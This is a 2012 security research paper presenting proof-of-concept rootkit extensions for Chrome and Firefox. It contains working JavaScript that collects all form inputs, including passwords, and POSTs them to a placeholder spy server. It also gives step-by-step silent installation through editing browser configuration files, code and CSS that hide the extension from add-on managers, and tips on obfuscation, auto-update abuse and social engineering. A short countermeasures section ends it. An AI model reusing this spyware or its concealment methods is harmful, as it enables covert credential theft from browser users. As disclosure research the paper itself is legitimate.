Attacking Web Browsers

Rootkit development and deployment on Google Chrome (version 17.0.963.56) and Mozilla Firefox (version 10.0.2)

Nicolas Paglieri
Ensimag, Grenoble Institute of Technology, INP
www.ni69.info

February 18th, 2012

Abstract

Web browsers have become over the last few years essential gateways to our entire digital life. People use them daily to check their emails, upload photographs and status updates on social networks, shop online... The amount of personal information that transits through them is huge and should remain strictly confidential. This paper presents as a proof of concept two malicious extensions running stealthily in the very last versions of Google Chrome (17.0.963.56) and Mozilla Firefox (10.0.2), allowing an attacker to retrieve any password the users enters in the browser.

Keywords: *rootkit, spyware, browser, extension, add-on, Chrome, Firefox, PoC*

1 Introduction

I wrote in 2009 an article[1] demonstrating how easy it was to create an invisible extension in Firefox 3.0. It remained applicable with version 3.5, but when Firefox 3.6 was released in early 2010 my code became obsolete because the extensions management subsystem changed a bit. I had no further look on it and chose to put it aside for a few years, until yesterday when someone challenged me to find his email credentials. While looking for a new way of concealing my extension in Firefox, I was totally flabbergasted by the fact that the very same security issues were still topical; and I was even more surprised that they not only concern Firefox, but also Chrome. This paper is organized as follows: Section 2 explains why web browsers are excellent attack targets; Section 3 provides some quick technical background on browser extensions; Section 4 describes how to practically implement invisible malwares; Finally, Section 5 presents some countermeasures that may be considered to reduce the risks.

2 Why Targeting Browsers

Nowadays, more and more people tend to move all their data to the cloud to make it accessible from anywhere. Web browsers have become real substitutes for operating systems (the most striking example of that being ChromeOS[2]), and people use them extensively to access their private data. Hence, targeting web browsers is a really good attack option because it allows a direct access to users' information, access codes and full credentials for any web service they use. Indeed, even encrypted exchanges (SSL protocol) are made vulnerable since their contents is sneaked after the decryption (for incoming data), and before the encryption (for outgoing data). Additionally, since web browsers are usually granted full access to the Internet, transmitting stolen data back to the attacker is really straightforward and there is absolutely no need to worry about any kind of firewall restriction (the communication is performed by the browser like any kind of standard browsing activity). Ultimately, browser extensions are very easy to develop, as explained in the next section.

3 Technical Background

The two browsers considered here are Google Chrome (version 17.0.963.56) and Mozilla Firefox (version 10.0.2). Extensions (also called Add-ons, but not to be mistaken with plugins[3]) are software components that can improve the functionalities of a browser. This is generally achieved by injecting JavaScript code or CSS stylesheets into pages, or by overriding the user interface. Each browser has its own format specification for extensions but in both cases they consist of several modules; the files presented below are the only ones that are strictly needed in the context of this PoC.

3.1 Firefox Extension

3.1.1 Architecture

`install.rdf`

This rdf/xml file called install manifest embeds metadata about the extension (e.g. name, identifier, version, author...) and specifies which applications it is compatible with.

`chrome.manifest`

This text file defines where to find the extension contents, and which XUL[4] overlays must be registered when running the browser.

`content/overlay.xul`

This xml file tells what XUL fragments to insert within the interface or documents.

`content/script.js`

This JavaScript file is the real payload of the extension, in charge of concealing itself and of attacking the users' private data in our case.

3.1.2 Packaging

All files are put in a ZIP archive renamed to have an `.xpi` extension. Firefox requires extension names to be in the format of an email address, say: `malicious@extension.com.xpi`

3.2 Chrome Extension

3.2.1 Architecture

`manifest.json`

Like install.rdf for Firefox, this json install manifest embeds metadata about the extension. Additionally, it also specifies which permissions are granted to it, along with the script files to be loaded in the browser tabs.

`script.js`

This JavaScript file is the real payload of the extension, in charge of stealing the users' data.

3.2.2 Packaging

Chrome extensions can be packaged using Chrome's extensions management page (in developer mode). A signed `.crx` file is created[5].

4 Implementation

4.1 Constraints

Several constraints must be respected in order to consider the attack successful:

- The installation must be completely silent
- The installer must not require any special system or administrator privilege to run
- The extension must run in the background and have full permissions over the browser
- The extension must be able to stealthily transmit data to an external spy server
- The extension must remain undetectable

4.2 Spyware Behavior

The payload only consists of a few lines of JavaScript code which can be used as is in both browsers. This code will be added as an overlay by the extensions on every webpage, thus targeting all websites the user visits.

```
function spy() {

  var doc  = window.content.document;
  var ok   = false;
  var data = "";
  var f    = doc.getElementsByTagName("input");

  // Gather data from all input fields
  for (var i=0; i<f.length; ++i) {
    if (f[i].value != "") {
      ok = ok || (f[i].type == "password");
      data += f[i].type + "|" +
              ((f[i].name == "") ? "<blank>"
                                 : f[i].name) +
              "|" + f[i].value + "\n";
    }
  }

  // If at least 1 password field is not empty
  if (ok) {
    var now = new Date();
    var xhr = new XMLHttpRequest();
    xhr.open("POST",
             "https://%SPYSERVER%/spy.php",
             false);
    xhr.setRequestHeader("Content-Type",
          "application/x-www-form-urlencoded");
    xhr.send("date="+encodeURIComponent(now)
           +"&url=" +encodeURIComponent(doc.
                                location.href)
           +"&data="+encodeURIComponent(data));
  }

}

window.addEventListener("submit", spy, false);
```

On every form submission, the spy script will look for non-empty password fields to transmit over SSL to a PHP module on the spy server. It is important to use either HTTP or HTTPS protocols to ensure the stealthiness of the malicious extension and its reliability. Indeed, web browsers are usually granted full Internet access for both protocols, and one could expect detecting communication on these channels when submitting a form. On the contrary, using an weird protocol may result in exposing the extension and may be blocked by firewalls. Manipulating SSL-encrypted communications is also better than standard HTTP because some antiviruses and firewalls are configured to block certain requests to untrusted servers that contain predefined keywords (passwords or personal details): when using HTTPS, there is no way for security programs to decode them (because they are a step further on the link and all the data they get is already encrypted), hence they won't restrict the transmission.

4.3 Silent Installation

There are two major methods allowing a silent install of an extension inside a web browser: The first is exploiting a security hole to delude the browser during standard navigation and force it to accept a new extension. This is by far the best way of spreading the spyware at a very large scale,

but although these vulnerabilities exist for real, they tend to be fixed rather quickly when found. Chrome and Firefox also update themselves regularly, making this system much harder to maintain. The second requires an access to the machine the browsers are running on. Although this may seem quite restrictive, it is not completely the case since no administrator privilege is required to proceed: The files defining which extensions are installed and loaded are directly accessible as any other unprotected user file. This article will focus on the second approach. Note that social engineering is still possible (and generally highly successful) when no direct access is possible to the computer itself: users may be lured into running the installer without understanding they will be infected.

4.3.1 Firefox

In Windows 7, Firefox configuration files are stored in: `%USERPROFILE%\AppData\Roaming\Mozilla\Firefox\Profiles\xxxxxxxx.default\`
The user profile identifier (`xxxxxxxx` above) is randomly generated when Firefox is installed. In all the following, this path will be abbreviated `%F%\`. The first thing to do is to copy the extension package into its definitive location, which is `%F%\extensions\malicious@extension.com.xpi`
The following line must be added to the section `[ExtensionDirs]` of the file `%F%\extensions.ini`:

```
Extension#=%F%\malicious@extension.com.xpi
```

Replacing `#` by the lowest possible integer that is not already in use in this section (this number is totally independent from what happens next). Finally, the information concerning the extension must be inserted in the SQLite[6] database located in `%F%\extensions.sqlite`
The SQL queries should look like the following:

```
INSERT INTO addon
(id, location, version, type, defaultLocale,
visible, active, userDisabled, appDisabled,
pendingUninstall, descriptor, installDate,
updateDate, applyBackgroundUpdates, bootstrap,
skinnable, size, softDisabled, sForeignInstall,
hasBinaryComponents, strictCompatibility)
VALUES
("malicious@extension.com.xpi", "app-profile",
"1.0", "extension", 2, 0, 1, 0, 0, 0,
"%F%\extensions\malicious@extension.com.xpi",
"1329000000000", "1329000000000",
1, 0, 0, 0, 0, 0, 0, 0);
```

```
INSERT INTO targetApplication
(addon_internal_id, id, minVersion, maxVersion)
VALUES
((SELECT internal_id FROM addon
  WHERE id="malicious@extension.com.xpi"),
"{ec8030f7-c20a-464f-9b0e-13a3a9e97384}",
"3.6", "*");
```

```
INSERT INTO locale
(id, name, description, creator)
VALUES
((SELECT internal_id FROM addon
  WHERE  id="malicious@extension.com.xpi"),
"malicious", "rootkit", "Nicolas Paglieri");
```

Note that all inserted information must match the metadata specified in the install manifest. The field `visible` in the table `addon` controls whether the extension should be displayed in Firefox extension manager. Setting it to `0` here will definitely mask it, but another way of concealing the extension will also be presented thereafter (just in case the extension gets installed the usual way by opening the XPI package directly with Firefox – though in this case the installation won't be silent anymore). The insertion into `targetApplication` specifies the compatibility of the extension with Firefox (which GUID is specified within the request); setting `maxVersion` to `"*"` will prevent the extension from being disabled in the future when new versions of Firefox are released. If the previous steps have been completed, the extension is correctly installed and Firefox will never tell the user something changed.

4.3.2 Chrome

In Windows 7, Chrome configuration files are stored in: `%USERPROFILE%\AppData\Local\Google\Chrome\User Data\Default\`
Thereafter, this path will be abbreviated `%C%\`.

When a Chrome extension is packaged, it is assigned a unique public/private key pair. The private key must be stored somewhere as it will be needed to package the extension again in the future. The extension's identifier consists of 32 characters in the range `[a-z]` and is based on a hash of the public key. Before continuing, the extension must be packaged and installed once on any computer running Chrome: this step is essential to retrieve the extension ID along with a valid version of the install manifest (the public key is stored in `manifest.json` when packaging). After manually installing the extension, the identifier `%ID%` can be looked up in the extension manager; the contents of the directory `%C%\Extensions\%ID%\` must be copied to another location. The extension can then be uninstalled entirely. Note that this operation must be done only once and doesn't need to be repeated on the machines that will be infected. When targeting a computer, an attacker will only need the previously extracted files and the identifier. The first step is to restore the extension files back to `%C%\Extensions\%ID%\` . Once done, the json file `%C%\Preferences` must be updated to register the extension. To proceed, the extension details must be appended as a new element inside the section `extensions.settings` of the file. Sample format follows (the public key which is present in the file `manifest.json` is here be denoted by `%KEY%` ; every other piece of information must match exactly the contents of the manifest file):

```
"%ID%": {
"active_permissions": {
 "api": [],
 "explicit_host": ["http://*/*","https://*/*"],
 "scriptable_host":["http://*/*","https://*/*"]
},
"delayNetworkRequests": true,
"from_bookmark":        false,
"from_webstore":        false,
"granted_permissions": {
 "api": [],
 "explicit_host": ["http://*/*","https://*/*"],
 "scriptable_host":["http://*/*","https://*/*"]
},
"incognito": true, /*active in incognito mode*/
"install_time": "12973910000000000",
"location": 1,
"manifest": {
  "content_scripts": [ {
    "js":      ["script.js"],
    "matches": ["http://*/*","https://*/*"],
    "run_at":  "document_end"
  } ],
  "description": "rootkit",
  "key":         "%KEY%",
  "name":        "malicious",
  "permissions": ["http://*/","https://*/"],
  "version":     "1.0"
},
"path":  "%ID%\\1.0_0",
"state": 1
}
```

For more convenience, this partial json data can also be copied from the file `%C%\Preferences` during the initial manual installation (when the extension ID and files were extracted). Of course, it is possible to add as many other permissions as desired (even all of them) depending what the extension is meant to do, but the ones above are sufficient in our case. Contrary to Firefox, there is only one way of masking an extension in Chrome's extensions manager. There is no such thing like a visible flag in the configuration file, and even with full permissions, extension cannot overload this page either with CSS or JavaScript code. Therefore the clever bit is to take advantage of the file `%C%\User StyleSheets\Custom.css` which is applied in all tabs, even the settings ones. A single line of CSS masks the desired element:

```
#%ID% {display: none !important;}
```

4.3.3 Additional Stealthiness in Firefox

In Firefox, an extension can hide itself even if its `visible` flag is set to `1` in the configuration database. This is particularly convenient when the installation cannot be performed using an external installer, and must rely on the standard way of adding extensions, or on a very limited security weakness. This may be done by appending the following JavaScript code to the extension payload:

```
function rm(list) {
  var addons = list.childNodes;
  for (var i=0; i<addons.length; ++i)
    if (addons[i].getAttribute('name')
                                  == 'malicious')
      list.removeChild(addons[i]);
}

function monitorPage(loadEvent) {
  var tgt = loadEvent.originalTarget;
  var doc = tgt.defaultView.content.document;
  // The event listener is activated only when
  // the user accesses the extension manager
  if (tgt.location.href == 'about:addons') {
    doc.addEventListener('DOMSubtreeModified',
      function () {
        rm(doc.getElementById('addon-list'));
        rm(doc.getElementById('updates-list'));
      },
      false);
  }
}

gBrowser.addEventListener('DOMContentLoaded',
                          monitorPage, false);
```

4.4 Further Considerations

4.4.1 Code Obfuscation

The extension's name and other details, as well as JavaScript functions and variables names used in this paper were specifically chosen to facilitate the comprehension of the scenario. However in a real attack context, all JavaScript code must be obfuscated and the extension details should be transformed to make it look "official", just in case someone would like to dig a bit amongst the file system.

4.4.2 Auto-Update

Extensions can rely on the underlying update system provided by both browsers to be upgraded once installed, with no need of any home-made code. This limits the development overhead quite significantly. Since the update process is automatic and made silently and on both Firefox and Chrome, the malicious extension remains well hidden. The only thing to do to take advantage of that great feature is to add an update URL inside the install manifest, and to host an update manifest along with the last version of the extension somewhere on the internet.

4.4.3 Geolocation

Browsers now allow the use of the Geolocation API[7] to provide the user with a fairly accurate determination of its location. This can also be implemented as part of the malware payload.

4.4.4 Unlimited Potential

Not content with already stealing all the user's passwords, an attacker has also a free hand to monitor absolutely everything the user does while browsing; the extension can indeed be granted unlimited access to the history and the bookmarks, and may even react in real time when the browser loads particular pages (e.g. Google search results can be transformed, additional files can be attached while sending emails...). The functionalities are unlimited; however the simpler they are the longer the malicious extension will remain concealed.

4.4.5 Operating System Dependency

Extensions are targeting browsers and not specific Operating Systems; hence they are totally platform-independent. However, installers must be adapted to fit particular environments: even if the installation process is globally the same, the paths of configuration files (namely `%F%` and `%C%`) must be adjusted (in Linux, `%F%` is `~/.mozilla/firefox/xxxxxxx.default` and `%C%` is `~/.config/google-chrome/Default/`). Additionally, path delimiters change between Windows and Linux (`\` vs. `/`), and new line characters may be different in configuration files (`\r\n` vs. `\n`).

5 Countermeasures

5.1 Forcing extensions to show up

The longer an extension goes unnoticed, the more data it collects. There should be no way of hiding extensions that are running in a browser. Chrome has a much better overall policy than Firefox concerning the overriding protection of settings pages from within extensions, but this is still not enough since a single unprotected CSS file can completely compromise them. The Chromium security team surprisingly disregarded the weakness I found when writing this paper as a WontFix[8], leaving the door wide open for future exploitation by real malwares; and Mozilla doesn't seem eager to eventually address this vulnerability that is now known for years.

5.2 Protecting configuration files

One could imagine protecting the configuration files with some kind of signature or encryption to prevent other programs but the browser itself from modifying extensions parameters without informing the user about the change; but this wouldn't totally protect users from more sophisticated kinds of malwares that may be able to bypass these additional security layers eventually.

References

[1] Nicolas Paglieri. *"Firefox, le navigateur Web le plus sûr"*. `http://www.ni69.info`.

[2] *Chromium-OS*. `http://www.chromium.org/chromium-os`.

[3] *Browser Plugins vs. Extensions*. `colonelpanic.net/2010/08/browser-plugins-vs-extensions-the-difference/`.

[4] *XML User Interface Language*. `http://developer.mozilla.org/en/XUL`.

[5] *Packaging Google Chrome Extensions*. `http://code.google.com/chrome/extensions/packaging.html`.

[6] *SQLite*. `http://www.sqlite.org`.

[7] *Geolocation API Specification*. `dev.w3.org/geo/api/spec-source.html`.

[8] *Chromium Security Issue #114714*. `http://code.google.com/p/chromium/issues/detail?id=114714`.